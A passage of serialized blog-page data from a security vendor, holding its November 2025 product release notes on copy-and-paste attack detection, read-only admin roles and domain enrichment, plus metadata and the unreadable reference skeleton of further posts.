locally.",{"data":91385,"content":91386,"nodeType":866},{},[91387,91391,91396,91400,91404,91408,91412],{"data":91388,"marks":91389,"value":91390,"nodeType":865},{},[],"You can enable ",{"data":91392,"marks":91393,"value":91395,"nodeType":865},{},[91394],{"type":961},"Malicious copy and paste detection",{"data":91397,"marks":91398,"value":91399,"nodeType":865},{},[]," from the ",{"data":91401,"marks":91402,"value":90727,"nodeType":865},{},[91403],{"type":961},{"data":91405,"marks":91406,"value":91407,"nodeType":865},{},[]," page of the Push admin console. Add a configuration rule to set the detection to ",{"data":91409,"marks":91410,"value":80322,"nodeType":865},{},[91411],{"type":961},{"data":91413,"marks":91414,"value":91415,"nodeType":865},{},[],". You can also add an exception for any staff who routinely handle malicious scripts, such as security team members, or add domains to the ignore list as needed.",{"data":91417,"content":91421,"nodeType":925},{"target":91418},{"sys":91419},{"id":91420,"type":922,"linkType":923},"2fPaiwRCAUd8lMvsVO03HZ",[],{"data":91423,"content":91424,"nodeType":866},{},[91425,91428,91436],{"data":91426,"marks":91427,"value":21,"nodeType":865},{},[],{"data":91429,"content":91432,"nodeType":15311},{"target":91430},{"sys":91431},{"id":90823,"type":922,"linkType":923},[91433],{"data":91434,"marks":91435,"value":16192,"nodeType":865},{},[],{"data":91437,"marks":91438,"value":21,"nodeType":865},{},[],{"data":91440,"content":91441,"nodeType":963},{},[91442],{"data":91443,"marks":91444,"value":91206,"nodeType":865},{},[],{"data":91446,"content":91447,"nodeType":866},{},[91448,91452,91457],{"data":91449,"marks":91450,"value":91451,"nodeType":865},{},[],"Get early access to new detections from the Push research team by enabling ",{"data":91453,"marks":91454,"value":91456,"nodeType":865},{},[91455],{"type":961},"Experimental detections",{"data":91458,"marks":91459,"value":91460,"nodeType":865},{},[],", a Labs feature.",{"data":91462,"content":91463,"nodeType":866},{},[91464],{"data":91465,"marks":91466,"value":91467,"nodeType":865},{},[],"Labs features are new features Push is testing before releasing them. Early access detections are designed to catch emerging attacker techniques, but may also produce more false positives while we finetune them. These early access detections do not block any user actions.",{"data":91469,"content":91470,"nodeType":866},{},[91471,91475,91479,91483,91488],{"data":91472,"marks":91473,"value":91474,"nodeType":865},{},[],"Enable ",{"data":91476,"marks":91477,"value":91456,"nodeType":865},{},[91478],{"type":961},{"data":91480,"marks":91481,"value":91482,"nodeType":865},{},[]," by going to ",{"data":91484,"marks":91485,"value":91487,"nodeType":865},{},[91486],{"type":961},"Settings > Labs",{"data":91489,"marks":91490,"value":90995,"nodeType":865},{},[],{"data":91492,"content":91493,"nodeType":963},{},[91494],{"data":91495,"marks":91496,"value":91497,"nodeType":865},{},[],"RBAC for the Push platform",{"data":91499,"content":91500,"nodeType":866},{},[91501],{"data":91502,"marks":91503,"value":91504,"nodeType":865},{},[],"You can now provide read-only access to the Push admin console to facilitate investigations, review detections, check app usage by department, help with employee offboarding — or anything else you need.",{"data":91506,"content":91507,"nodeType":866},{},[91508,91512,91516,91520,91525],{"data":91509,"marks":91510,"value":91511,"nodeType":865},{},[],"To add a read-only admin, go to ",{"data":91513,"marks":91514,"value":91270,"nodeType":865},{},[91515],{"type":961},{"data":91517,"marks":91518,"value":91519,"nodeType":865},{},[]," in the admin console. Enter the email address of the admin you want to invite and set the role to ",{"data":91521,"marks":91522,"value":91524,"nodeType":865},{},[91523],{"type":961},"Read only",{"data":91526,"marks":91527,"value":1048,"nodeType":865},{},[],{"data":91529,"content":91530,"nodeType":866},{},[91531,91535,91540],{"data":91532,"marks":91533,"value":91534,"nodeType":865},{},[],"Note that existing Push admins now have the role of ",{"data":91536,"marks":91537,"value":91539,"nodeType":865},{},[91538],{"type":961},"Full access",{"data":91541,"marks":91542,"value":91543,"nodeType":865},{},[],". You can adjust that role as needed from the Organization page, too.",{"data":91545,"content":91549,"nodeType":925},{"target":91546},{"sys":91547},{"id":91548,"type":922,"linkType":923},"7kraCfSP2YwdEEwZ8FxM1t",[],{"data":91551,"content":91552,"nodeType":963},{},[91553],{"data":91554,"marks":91555,"value":91226,"nodeType":865},{},[],{"data":91557,"content":91558,"nodeType":866},{},[91559],{"data":91560,"marks":91561,"value":91562,"nodeType":865},{},[],"You can now enrich detections in Push with information from urlscan.io, and see when the domain was first registered. This information gives you domain-relevant context to support investigations.",{"data":91564,"content":91565,"nodeType":866},{},[91566,91570,91575],{"data":91567,"marks":91568,"value":91569,"nodeType":865},{},[],"To enable this feature, go to ",{"data":91571,"marks":91572,"value":91574,"nodeType":865},{},[91573],{"type":961},"Settings > Advanced > Domain enrichment",{"data":91576,"marks":91577,"value":91578,"nodeType":865},{},[]," in the Push admin console or enable it from any existing detection event.",{"data":91580,"content":91581,"nodeType":866},{},[91582],{"data":91583,"marks":91584,"value":91585,"nodeType":865},{},[],"With this enrichment, you can quickly see:",{"data":91587,"content":91588,"nodeType":1049},{},[91589,91599,91609,91619,91629],{"data":91590,"content":91591,"nodeType":1003},{},[91592],{"data":91593,"content":91594,"nodeType":866},{},[91595],{"data":91596,"marks":91597,"value":91598,"nodeType":865},{},[],"The timestamp for when a domain was first registered",{"data":91600,"content":91601,"nodeType":1003},{},[91602],{"data":91603,"content":91604,"nodeType":866},{},[91605],{"data":91606,"marks":91607,"value":91608,"nodeType":865},{},[],"The number of times a domain was scanned on urlscan",{"data":91610,"content":91611,"nodeType":1003},{},[91612],{"data":91613,"content":91614,"nodeType":866},{},[91615],{"data":91616,"marks":91617,"value":91618,"nodeType":865},{},[],"The first time a domain was scanned",{"data":91620,"content":91621,"nodeType":1003},{},[91622],{"data":91623,"content":91624,"nodeType":866},{},[91625],{"data":91626,"marks":91627,"value":91628,"nodeType":865},{},[],"The last time a domain or IP was scanned",{"data":91630,"content":91631,"nodeType":1003},{},[91632],{"data":91633,"content":91634,"nodeType":866},{},[91635],{"data":91636,"marks":91637,"value":91638,"nodeType":865},{},[],"A urlscan verdict (e.g. “potentially malicious”)",{"data":91640,"content":91641,"nodeType":866},{},[91642],{"data":91643,"marks":91644,"value":91645,"nodeType":865},{},[],"You’ll see the enrichment data on the details slideout for an individual detection.",{"data":91647,"content":91651,"nodeType":925},{"target":91648},{"sys":91649},{"id":91650,"type":922,"linkType":923},"563fJFSgoLDOwSXSQ9Y0MM",[],{"data":91653,"content":91654,"nodeType":866},{},[91655,91658,91667],{"data":91656,"marks":91657,"value":21,"nodeType":865},{},[],{"data":91659,"content":91663,"nodeType":15311},{"target":91660},{"sys":91661},{"id":91662,"type":922,"linkType":923},"19qsIXEG6EN9EK0VRH3pw9",[91664],{"data":91665,"marks":91666,"value":16192,"nodeType":865},{},[],{"data":91668,"marks":91669,"value":21,"nodeType":865},{},[],{"data":91671,"content":91672,"nodeType":963},{},[91673],{"data":91674,"marks":91675,"value":91236,"nodeType":865},{},[],{"data":91677,"content":91678,"nodeType":866},{},[91679,91683,91687],{"data":91680,"marks":91681,"value":91682,"nodeType":865},{},[],"You can now filter the ",{"data":91684,"marks":91685,"value":80339,"nodeType":865},{},[91686],{"type":961},{"data":91688,"marks":91689,"value":91690,"nodeType":865},{},[]," page in the Push admin console by entities such as employees and apps to make triage more efficient.",{"data":91692,"content":91693,"nodeType":866},{},[91694],{"data":91695,"marks":91696,"value":91697,"nodeType":865},{},[],"With this option, you can do quick searches such as:",{"data":91699,"content":91700,"nodeType":1049},{},[91701,91711],{"data":91702,"content":91703,"nodeType":1003},{},[91704],{"data":91705,"content":91706,"nodeType":866},{},[91707],{"data":91708,"marks":91709,"value":91710,"nodeType":865},{},[],"See all recent events associated with an employee",{"data":91712,"content":91713,"nodeType":1003},{},[91714],{"data":91715,"content":91716,"nodeType":866},{},[91717],{"data":91718,"marks":91719,"value":91720,"nodeType":865},{},[],"See all recent logins for a given app",{"data":91722,"content":91723,"nodeType":866},{},[91724,91727,91731,91735,91740],{"data":91725,"marks":91726,"value":80405,"nodeType":865},{},[],{"data":91728,"marks":91729,"value":80339,"nodeType":865},{},[91730],{"type":961},{"data":91732,"marks":91733,"value":91734,"nodeType":865},{},[]," page, go to ",{"data":91736,"marks":91737,"value":91739,"nodeType":865},{},[91738],{"type":961},"Filters > Entity type",{"data":91741,"marks":91742,"value":1048,"nodeType":865},{},[],{"data":91744,"content":91745,"nodeType":963},{},[91746],{"data":91747,"marks":91748,"value":90685,"nodeType":865},{},[],{"data":91750,"content":91751,"nodeType":866},{},[91752],{"data":91753,"marks":91754,"value":91027,"nodeType":865},{},[],{"data":91756,"content":91757,"nodeType":1049},{},[91758,91795,91817,91827,91849],{"data":91759,"content":91760,"nodeType":1003},{},[91761],{"data":91762,"content":91763,"nodeType":866},{},[91764,91768,91778,91781,91791],{"data":91765,"marks":91766,"value":91767,"nodeType":865},{},[],"You can now configure exceptions for ",{"data":91769,"content":91773,"nodeType":15311},{"target":91770},{"sys":91771},{"id":91772,"type":922,"linkType":923},"4oOTN6FXPpZg9MLgQUujys",[91774],{"data":91775,"marks":91776,"value":91777,"nodeType":865},{},[],"MFA findings",{"data":91779,"marks":91780,"value":8756,"nodeType":865},{},[],{"data":91782,"content":91786,"nodeType":15311},{"target":91783},{"sys":91784},{"id":91785,"type":922,"linkType":923},"2eOzRGosD2Ghaipao7NY8W",[91787],{"data":91788,"marks":91789,"value":91790,"nodeType":865},{},[],"reused password",{"data":91792,"marks":91793,"value":91794,"nodeType":865},{},[]," findings. This is useful if you purposefully reuse passwords between systems or enforce MFA through a third-party provider.",{"data":91796,"content":91797,"nodeType":1003},{},[91798],{"data":91799,"content":91800,"nodeType":866},{},[91801,91805,91814],{"data":91802,"marks":91803,"value":91804,"nodeType":865},{},[],"We’ve added several first-class SIEM integrations. ",{"data":91806,"content":91810,"nodeType":15311},{"target":91807},{"sys":91808},{"id":91809,"type":922,"linkType":923},"2M73i6A90S9MY6Pe8uVjVv",[91811],{"data":91812,"marks":91813,"value":16192,"nodeType":865},{},[],{"data":91815,"marks":91816,"value":1048,"nodeType":865},{},[],{"data":91818,"content":91819,"nodeType":1003},{},[91820],{"data":91821,"content":91822,"nodeType":866},{},[91823],{"data":91824,"marks":91825,"value":91826,"nodeType":865},{},[],"We’ve expanded the limit for URLs you can block using the URL blocking control to 2,000.",{"data":91828,"content":91829,"nodeType":1003},{},[91830],{"data":91831,"content":91832,"nodeType":866},{},[91833,91837,91846],{"data":91834,"marks":91835,"value":91836,"nodeType":865},{},[],"You can now set a time period after which to automatically un-license inactive employees, to make license management easier. ",{"data":91838,"content":91842,"nodeType":15311},{"target":91839},{"sys":91840},{"id":91841,"type":922,"linkType":923},"6Ad43w7Cjz2L5fZN2klIOn",[91843],{"data":91844,"marks":91845,"value":16192,"nodeType":865},{},[],{"data":91847,"marks":91848,"value":1048,"nodeType":865},{},[],{"data":91850,"content":91851,"nodeType":1003},{},[91852],{"data":91853,"content":91854,"nodeType":866},{},[91855],{"data":91856,"marks":91857,"value":91858,"nodeType":865},{},[],"Push now supports Prisma Access browser.\n",{"data":91860,"content":91861,"nodeType":866},{},[91862],{"data":91863,"marks":91864,"value":21,"nodeType":865},{},[],"Product release: November 2025","Here’s what’s new on the Push platform for November 2025.","2025-11-04T00:00:00.000Z","product-release-november-2025",{"items":91870},[91871],{"sys":91872,"name":91874},{"id":91873},"5jk0kqjSdSK2L0YiistQjY","Release notes",{"items":91876},[91877],{"fullName":90607,"firstName":90608,"jobTitle":90609,"profilePicture":91878},{"url":90611},"product-release-march-2026","blog/product-release-march-2026",{"json":91882},{"data":91883,"content":91884,"nodeType":1739},{},[91885],{"data":91886,"content":91887,"nodeType":866},{},[91888],{"data":91889,"marks":91890,"value":91891,"nodeType":865},{},[],"Malicious extension detection, block ClickFix-style attacks, custom branding and more","Here’s what’s new on the Push platform for March 2026.",{"id":91894,"publishedAt":91895},"3Yw48rVLntipUijLR0CYf2","2026-08-13T09:35:00.930Z",{"items":91897},[91898],{"sys":91899,"name":91874},{"id":91873},{"items":91901},[91902,91904,91906,91908],{"sys":91903,"name":297,"slug":298,"tier":31},{"id":294},{"sys":91905,"name":288,"slug":289,"tier":45},{"id":285},{"sys":91907,"name":315,"slug":316,"tier":45},{"id":312},{"sys":91909,"name":448,"slug":449,"tier":45},{"id":445},"eIqymJShskbNuC00g5SpN2S_4nuP1K1uJN6I7pLSXb4",{"id":91912,"title":23191,"authorsCollection":91913,"content":91919,"extension":228,"faqItemsCollection":93009,"faqTitle":59,"featured":6,"hashTags":59,"meta":93011,"metaTitle":93012,"ogImage":59,"postType":21460,"publishedDate":23193,"relatedBlogPostsCollection":93013,"slug":23194,"stem":95053,"subtitle":59,"summary":95054,"synopsis":23192,"sys":95065,"tagsCollection":95067,"topicsCollection":95073,"__hash__":95099},"blog/blog/installfix.json",{"items":91914},[91915],{"fullName":23204,"firstName":23205,"jobTitle":23206,"socialLinks":91916,"profilePicture":91918},[91917],"https://www.linkedin.com/in/jacques-louw-o-62608594/",{"url":23208},{"json":91920,"links":92806},{"data":91921,"content":91922,"nodeType":1739},{},[91923,91928,91934,91940,91947,91960,91965,91968,91975,91981,91987,91993,91999,92005,92011,92017,92023,92028,92033,92039,92044,92050,92056,92061,92066,92071,92076,92092,92102,92108,92113,92119,92125,92155,92161,92168,92174,92179,92185,92190,92196,92212,92218,92221,92228,92234,92317,92323,92328,92331,92338,92344,92350,92356,92392,92395,92402,92418,92424,92431,92623,92630,92660,92667,92674,92680,92687,92693,92700,92710,92717,92723,92730,92740,92747,92754,92761,92768,92775,92782,92792,92799],{"data":91924,"content":91927,"nodeType":925},{"target":91925},{"sys":91926},{"id":22194,"type":922,"linkType":923},[],{"data":91929,"content":91930,"nodeType":866},{},[91931],{"data":91932,"marks":91933,"value":22202,"nodeType":865},{},[],{"data":91935,"content":91936,"nodeType":866},{},[91937],{"data":91938,"marks":91939,"value":22209,"nodeType":865},{},[],{"data":91941,"content":91942,"nodeType":866},{},[91943],{"data":91944,"marks":91945,"value":22217,"nodeType":865},{},[91946],{"type":961},{"data":91948,"content":91949,"nodeType":866},{},[91950,91953,91957],{"data":91951,"marks":91952,"value":22224,"nodeType":865},{},[],{"data":91954,"marks":91955,"value":19228,"nodeType":865},{},[91956],{"type":961},{"data":91958,"marks":91959,"value":22232,"nodeType":865},{},[],{"data":91961,"content":91964,"nodeType":925},{"target":91962},{"sys":91963},{"id":22237,"type":922,"linkType":923},[],{"data":91966,"content":91967,"nodeType":953},{},[],{"data":91969,"content":91970,"nodeType":963},{},[91971],{"data":91972,"marks":91973,"value":22249,"nodeType":865},{},[91974],{"type":961},{"data":91976,"content":91977,"nodeType":866},{},[91978],{"data":91979,"marks":91980,"value":22256,"nodeType":865},{},[],{"data":91982,"content":91983,"nodeType":866},{},[91984],{"data":91985,"marks":91986,"value":22263,"nodeType":865},{},[],{"data":91988,"content":91989,"nodeType":1458},{},[91990],{"data":91991,"marks":91992,"value":22270,"nodeType":865},{},[],{"data":91994,"content":91995,"nodeType":866},{},[91996],{"data":91997,"marks":91998,"value":22277,"nodeType":865},{},[],{"data":92000,"content":92001,"nodeType":866},{},[92002],{"data":92003,"marks":92004,"value":22284,"nodeType":865},{},[],{"data":92006,"content":92007,"nodeType":866},{},[92008],{"data":92009,"marks":92010,"value":22291,"nodeType":865},{},[],{"data":92012,"content":92013,"nodeType":866},{},[92014],{"data":92015,"marks":92016,"value":22298,"nodeType":865},{},[],{"data":92018,"content":92019,"nodeType":866},{},[92020],{"data":92021,"marks":92022,"value":22305,"nodeType":865},{},[],{"data":92024,"content":92027,"nodeType":925},{"target":92025},{"sys":92026},{"id":22310,"type":922,"linkType":923},[],{"data":92029,"content":92032,"nodeType":925},{"target":92030},{"sys":92031},{"id":22316,"type":922,"linkType":923},[],{"data":92034,"content":92035,"nodeType":866},{},[92036],{"data":92037,"marks":92038,"value":22324,"nodeType":865},{},[],{"data":92040,"content":92043,"nodeType":925},{"target":92041},{"sys":92042},{"id":22329,"type":922,"linkType":923},[],{"data":92045,"content":92046,"nodeType":1458},{},[92047],{"data":92048,"marks":92049,"value":22337,"nodeType":865},{},[],{"data":92051,"content":92052,"nodeType":866},{},[92053],{"data":92054,"marks":92055,"value":22344,"nodeType":865},{},[],{"data":92057,"content":92060,"nodeType":925},{"target":92058},{"sys":92059},{"id":22349,"type":922,"linkType":923},[],{"data":92062,"content":92065,"nodeType":925},{"target":92063},{"sys":92064},{"id":22355,"type":922,"linkType":923},[],{"data":92067,"content":92070,"nodeType":925},{"target":92068},{"sys":92069},{"id":22361,"type":922,"linkType":923},[],{"data":92072,"content":92075,"nodeType":925},{"target":92073},{"sys":92074},{"id":22367,"type":922,"linkType":923},[],{"data":92077,"content":92078,"nodeType":866},{},[92079,92082,92089],{"data":92080,"marks":92081,"value":22375,"nodeType":865},{},[],{"data":92083,"content":92084,"nodeType":882},{"uri":3122},[92085],{"data":92086,"marks":92087,"value":22383,"nodeType":865},{},[92088],{"type":997},{"data":92090,"marks":92091,"value":22387,"nodeType":865},{},[],{"data":92093,"content":92094,"nodeType":866},{},[92095,92099],{"data":92096,"marks":92097,"value":22395,"nodeType":865},{},[92098],{"type":961},{"data":92100,"marks":92101,"value":22399,"nodeType":865},{},[],{"data":92103,"content":92104,"nodeType":866},{},[92105],{"data":92106,"marks":92107,"value":22406,"nodeType":865},{},[],{"data":92109,"content":92112,"nodeType":925},{"target":92110},{"sys":92111},{"id":22411,"type":922,"linkType":923},[],{"data":92114,"content":92115,"nodeType":1458},{},[92116],{"data":92117,"marks":92118,"value":22419,"nodeType":865},{},[],{"data":92120,"content":92121,"nodeType":866},{},[92122],{"data":92123,"marks":92124,"value":22426,"nodeType":865},{},[],{"data":92126,"content":92127,"nodeType":1049},{},[92128,92137,92146],{"data":92129,"content":92130,"nodeType":1003},{},[92131],{"data":92132,"content":92133,"nodeType":866},{},[92134],{"data":92135,"marks":92136,"value":22439,"nodeType":865},{},[],{"data":92138,"content":92139,"nodeType":1003},{},[92140],{"data":92141,"content":92142,"nodeType":866},{},[92143],{"data":92144,"marks":92145,"value":22449,"nodeType":865},{},[],{"data":92147,"content":92148,"nodeType":1003},{},[92149],{"data":92150,"content":92151,"nodeType":866},{},[92152],{"data":92153,"marks":92154,"value":22459,"nodeType":865},{},[],{"data":92156,"content":92157,"nodeType":866},{},[92158],{"data":92159,"marks":92160,"value":22466,"nodeType":865},{},[],{"data":92162,"content":92163,"nodeType":866},{},[92164],{"data":92165,"marks":92166,"value":22474,"nodeType":865},{},[92167],{"type":961},{"data":92169,"content":92170,"nodeType":866},{},[92171],{"data":92172,"marks":92173,"value":22481,"nodeType":865},{},[],{"data":92175,"content":92178,"nodeType":925},{"target":92176},{"sys":92177},{"id":22486,"type":922,"linkType":923},[],{"data":92180,"content":92181,"nodeType":866},{},[92182],{"data":92183,"marks":92184,"value":22494,"nodeType":865},{},[],{"data":92186,"content":92189,"nodeType":925},{"target":92187},{"sys":92188},{"id":22499,"type":922,"linkType":923},[],{"data":92191,"content":92192,"nodeType":1458},{},[92193],{"data":92194,"marks":92195,"value":22507,"nodeType":865},{},[],{"data":92197,"content":92198,"nodeType":866},{},[92199,92202,92209],{"data":92200,"marks":92201,"value":22514,"nodeType":865},{},[],{"data":92203,"content":92204,"nodeType":882},{"uri":13634},[92205],{"data":92206,"marks":92207,"value":13639,"nodeType":865},{},[92208],{"type":997},{"data":92210,"marks":92211,"value":22525,"nodeType":865},{},[],{"data":92213,"content":92214,"nodeType":866},{},[92215],{"data":92216,"marks":92217,"value":22532,"nodeType":865},{},[],{"data":92219,"content":92220,"nodeType":953},{},[],{"data":92222,"content":92223,"nodeType":963},{},[92224],{"data":92225,"marks":92226,"value":22543,"nodeType":865},{},[92227],{"type":961},{"data":92229,"content":92230,"nodeType":866},{},[92231],{"data":92232,"marks":92233,"value":22550,"nodeType":865},{},[],{"data":92235,"content":92236,"nodeType":1049},{},[92237,92257,92277,92297],{"data":92238,"content":92239,"nodeType":1003},{},[92240],{"data":92241,"content":92242,"nodeType":866},{},[92243,92246,92254],{"data":92244,"marks":92245,"value":21,"nodeType":865},{},[],{"data":92247,"content":92248,"nodeType":882},{"uri":22565},[92249],{"data":92250,"marks":92251,"value":22572,"nodeType":865},{},[92252,92253],{"type":997},{"type":961},{"data":92255,"marks":92256,"value":22576,"nodeType":865},{},[],{"data":92258,"content":92259,"nodeType":1003},{},[92260],{"data":92261,"content":92262,"nodeType":866},{},[92263,92266,92274],{"data":92264,"marks":92265,"value":21,"nodeType":865},{},[],{"data":92267,"content":92268,"nodeType":882},{"uri":22588},[92269],{"data":92270,"marks":92271,"value":22595,"nodeType":865},{},[92272,92273],{"type":997},{"type":961},{"data":92275,"marks":92276,"value":22599,"nodeType":865},{},[],{"data":92278,"content":92279,"nodeType":1003},{},[92280],{"data":92281,"content":92282,"nodeType":866},{},[92283,92286,92294],{"data":92284,"marks":92285,"value":21,"nodeType":865},{},[],{"data":92287,"content":92288,"nodeType":882},{"uri":22611},[92289],{"data":92290,"marks":92291,"value":22618,"nodeType":865},{},[92292,92293],{"type":997},{"type":961},{"data":92295,"marks":92296,"value":22622,"nodeType":865},{},[],{"data":92298,"content":92299,"nodeType":1003},{},[92300],{"data":92301,"content":92302,"nodeType":866},{},[92303,92306,92314],{"data":92304,"marks":92305,"value":21,"nodeType":865},{},[],{"data":92307,"content":92308,"nodeType":882},{"uri":22634},[92309],{"data":92310,"marks":92311,"value":22641,"nodeType":865},{},[92312,92313],{"type":997},{"type":961},{"data":92315,"marks":92316,"value":22645,"nodeType":865},{},[],{"data":92318,"content":92319,"nodeType":866},{},[92320],{"data":92321,"marks":92322,"value":22652,"nodeType":865},{},[],{"data":92324,"content":92327,"nodeType":925},{"target":92325},{"sys":92326},{"id":22657,"type":922,"linkType":923},[],{"data":92329,"content":92330,"nodeType":953},{},[],{"data":92332,"content":92333,"nodeType":1458},{},[92334],{"data":92335,"marks":92336,"value":22669,"nodeType":865},{},[92337],{"type":961},{"data":92339,"content":92340,"nodeType":866},{},[92341],{"data":92342,"marks":92343,"value":22676,"nodeType":865},{},[],{"data":92345,"content":92346,"nodeType":866},{},[92347],{"data":92348,"marks":92349,"value":22683,"nodeType":865},{},[],{"data":92351,"content":92352,"nodeType":866},{},[92353],{"data":92354,"marks":92355,"value":22690,"nodeType":865},{},[],{"data":92357,"content":92358,"nodeType":866},{},[92359,92362,92369,92372,92379,92382,92389],{"data":92360,"marks":92361,"value":22697,"nodeType":865},{},[],{"data":92363,"content":92364,"nodeType":882},{"uri":22700},[92365],{"data":92366,"marks":92367,"value":22706,"nodeType":865},{},[92368],{"type":997},{"data":92370,"marks":92371,"value":2186,"nodeType":865},{},[],{"data":92373,"content":92374,"nodeType":882},{"uri":22712},[92375],{"data":92376,"marks":92377,"value":22718,"nodeType":865},{},[92378],{"type":997},{"data":92380,"marks":92381,"value":22722,"nodeType":865},{},[],{"data":92383,"content":92384,"nodeType":882},{"uri":1728},[92385],{"data":92386,"marks":92387,"value":22730,"nodeType":865},{},[92388],{"type":997},{"data":92390,"marks":92391,"value":1048,"nodeType":865},{},[],{"data":92393,"content":92394,"nodeType":953},{},[],{"data":92396,"content":92397,"nodeType":963},{},[92398],{"data":92399,"marks":92400,"value":22744,"nodeType":865},{},[92401],{"type":961},{"data":92403,"content":92404,"nodeType":866},{},[92405,92408,92415],{"data":92406,"marks":92407,"value":13754,"nodeType":865},{},[],{"data":92409,"content":92410,"nodeType":882},{"uri":13757},[92411],{"data":92412,"marks":92413,"value":13762,"nodeType":865},{},[92414],{"type":997},{"data":92416,"marks":92417,"value":13766,"nodeType":865},{},[],{"data":92419,"content":92420,"nodeType":866},{},[92421],{"data":92422,"marks":92423,"value":22767,"nodeType":865},{},[],{"data":92425,"content":92426,"nodeType":866},{},[92427],{"data":92428,"marks":92429,"value":22775,"nodeType":865},{},[92430],{"type":961},{"data":92432,"content":92433,"nodeType":1049},{},[92434,92443,92452,92461,92470,92479,92488,92497,92506,92515,92524,92533,92542,92551,92560,92569,92578,92587,92596,92605,92614],{"data":92435,"content":92436,"nodeType":1003},{},[92437],{"data":92438,"content":92439,"nodeType":866},{},[92440],{"data":92441,"marks":92442,"value":22788,"nodeType":865},{},[],{"data":92444,"content":92445,"nodeType":1003},{},[92446],{"data":92447,"content":92448,"nodeType":866},{},[92449],{"data":92450,"marks":92451,"value":22798,"nodeType":865},{},[],{"data":92453,"content":92454,"nodeType":1003},{},[92455],{"data":92456,"content":92457,"nodeType":866},{},[92458],{"data":92459,"marks":92460,"value":22808,"nodeType":865},{},[],{"data":92462,"content":92463,"nodeType":1003},{},[92464],{"data":92465,"content":92466,"nodeType":866},{},[92467],{"data":92468,"marks":92469,"value":22818,"nodeType":865},{},[],{"data":92471,"content":92472,"nodeType":1003},{},[92473],{"data":92474,"content":92475,"nodeType":866},{},[92476],{"data":92477,"marks":92478,"value":22828,"nodeType":865},{},[],{"data":92480,"content":92481,"nodeType":1003},{},[92482],{"data":92483,"content":92484,"nodeType":866},{},[92485],{"data":92486,"marks":92487,"value":22818,"nodeType":865},{},[],{"data":92489,"content":92490,"nodeType":1003},{},[92491],{"data":92492,"content":92493,"nodeType":866},{},[92494],{"data":92495,"marks":92496,"value":22847,"nodeType":865},{},[],{"data":92498,"content":92499,"nodeType":1003},{},[92500],{"data":92501,"content":92502,"nodeType":866},{},[92503],{"data":92504,"marks":92505,"value":22857,"nodeType":865},{},[],{"data":92507,"content":92508,"nodeType":1003},{},[92509],{"data":92510,"content":92511,"nodeType":866},{},[92512],{"data":92513,"marks":92514,"value":22798,"nodeType":865},{},[],{"data":92516,"content":92517,"nodeType":1003},{},[92518],{"data":92519,"content":92520,"nodeType":866},{},[92521],{"data":92522,"marks":92523,"value":22876,"nodeType":865},{},[],{"data":92525,"content":92526,"nodeType":1003},{},[92527],{"data":92528,"content":92529,"nodeType":866},{},[92530],{"data":92531,"marks":92532,"value":22886,"nodeType":865},{},[],{"data":92534,"content":92535,"nodeType":1003},{},[92536],{"data":92537,"content":92538,"nodeType":866},{},[92539],{"data":92540,"marks":92541,"value":22896,"nodeType":865},{},[],{"data":92543,"content":92544,"nodeType":1003},{},[92545],{"data":92546,"content":92547,"nodeType":866},{},[92548],{"data":92549,"marks":92550,"value":22906,"nodeType":865},{},[],{"data":92552,"content":92553,"nodeType":1003},{},[92554],{"data":92555,"content":92556,"nodeType":866},{},[92557],{"data":92558,"marks":92559,"value":22916,"nodeType":865},{},[],{"data":92561,"content":92562,"nodeType":1003},{},[92563],{"data":92564,"content":92565,"nodeType":866},{},[92566],{"data":92567,"marks":92568,"value":22926,"nodeType":865},{},[],{"data":92570,"content":92571,"nodeType":1003},{},[92572],{"data":92573,"content":92574,"nodeType":866},{},[92575],{"data":92576,"marks":92577,"value":22936,"nodeType":865},{},[],{"data":92579,"content":92580,"nodeType":1003},{},[92581],{"data":92582,"content":92583,"nodeType":866},{},[92584],{"data":92585,"marks":92586,"value":22857,"nodeType":865},{},[],{"data":92588,"content":92589,"nodeType":1003},{},[92590],{"data":92591,"content":92592,"nodeType":866},{},[92593],{"data":92594,"marks":92595,"value":22955,"nodeType":865},{},[],{"data":92597,"content":92598,"nodeType":1003},{},[92599],{"data":92600,"content":92601,"nodeType":866},{},[92602],{"data":92603,"marks":92604,"value":22965,"nodeType":865},{},[],{"data":92606,"content":92607,"nodeType":1003},{},[92608],{"data":92609,"content":92610,"nodeType":866},{},[92611],{"data":92612,"marks":92613,"value":22975,"nodeType":865},{},[],{"data":92615,"content":92616,"nodeType":1003},{},[92617],{"data":92618,"content":92619,"nodeType":866},{},[92620],{"data":92621,"marks":92622,"value":22985,"nodeType":865},{},[],{"data":92624,"content":92625,"nodeType":866},{},[92626],{"data":92627,"marks":92628,"value":22993,"nodeType":865},{},[92629],{"type":961},{"data":92631,"content":92632,"nodeType":1049},{},[92633,92642,92651],{"data":92634,"content":92635,"nodeType":1003},{},[92636],{"data":92637,"content":92638,"nodeType":866},{},[92639],{"data":92640,"marks":92641,"value":23006,"nodeType":865},{},[],{"data":92643,"content":92644,"nodeType":1003},{},[92645],{"data":92646,"content":92647,"nodeType":866},{},[92648],{"data":92649,"marks":92650,"value":23016,"nodeType":865},{},[],{"data":92652,"content":92653,"nodeType":1003},{},[92654],{"data":92655,"content":92656,"nodeType":866},{},[92657],{"data":92658,"marks":92659,"value":23026,"nodeType":865},{},[],{"data":92661,"content":92662,"nodeType":866},{},[92663],{"data":92664,"marks":92665,"value":23034,"nodeType":865},{},[92666],{"type":961},{"data":92668,"content":92669,"nodeType":866},{},[92670],{"data":92671,"marks":92672,"value":23043,"nodeType":865},{},[92673],{"type":23042},{"data":92675,"content":92676,"nodeType":866},{},[92677],{"data":92678,"marks":92679,"value":21,"nodeType":865},{},[],{"data":92681,"content":92682,"nodeType":866},{},[92683],{"data":92684,"marks":92685,"value":23057,"nodeType":865},{},[92686],{"type":23042},{"data":92688,"content":92689,"nodeType":866},{},[92690],{"data":92691,"marks":92692,"value":23064,"nodeType":865},{},[],{"data":92694,"content":92695,"nodeType":866},{},[92696],{"data":92697,"marks":92698,"value":23072,"nodeType":865},{},[92699],{"type":23042},{"data":92701,"content":92702,"nodeType":866},{},[92703,92706],{"data":92704,"marks":92705,"value":23064,"nodeType":865},{},[],{"data":92707,"marks":92708,"value":23083,"nodeType":865},{},[92709],{"type":961},{"data":92711,"content":92712,"nodeType":866},{},[92713],{"data":92714,"marks":92715,"value":23091,"nodeType":865},{},[92716],{"type":23042},{"data":92718,"content":92719,"nodeType":866},{},[92720],{"data":92721,"marks":92722,"value":21,"nodeType":865},{},[],{"data":92724,"content":92725,"nodeType":866},{},[92726],{"data":92727,"marks":92728,"value":23105,"nodeType":865},{},[92729],{"type":23042},{"data":92731,"content":92732,"nodeType":866},{},[92733,92736],{"data":92734,"marks":92735,"value":23064,"nodeType":865},{},[],{"data":92737,"marks":92738,"value":23116,"node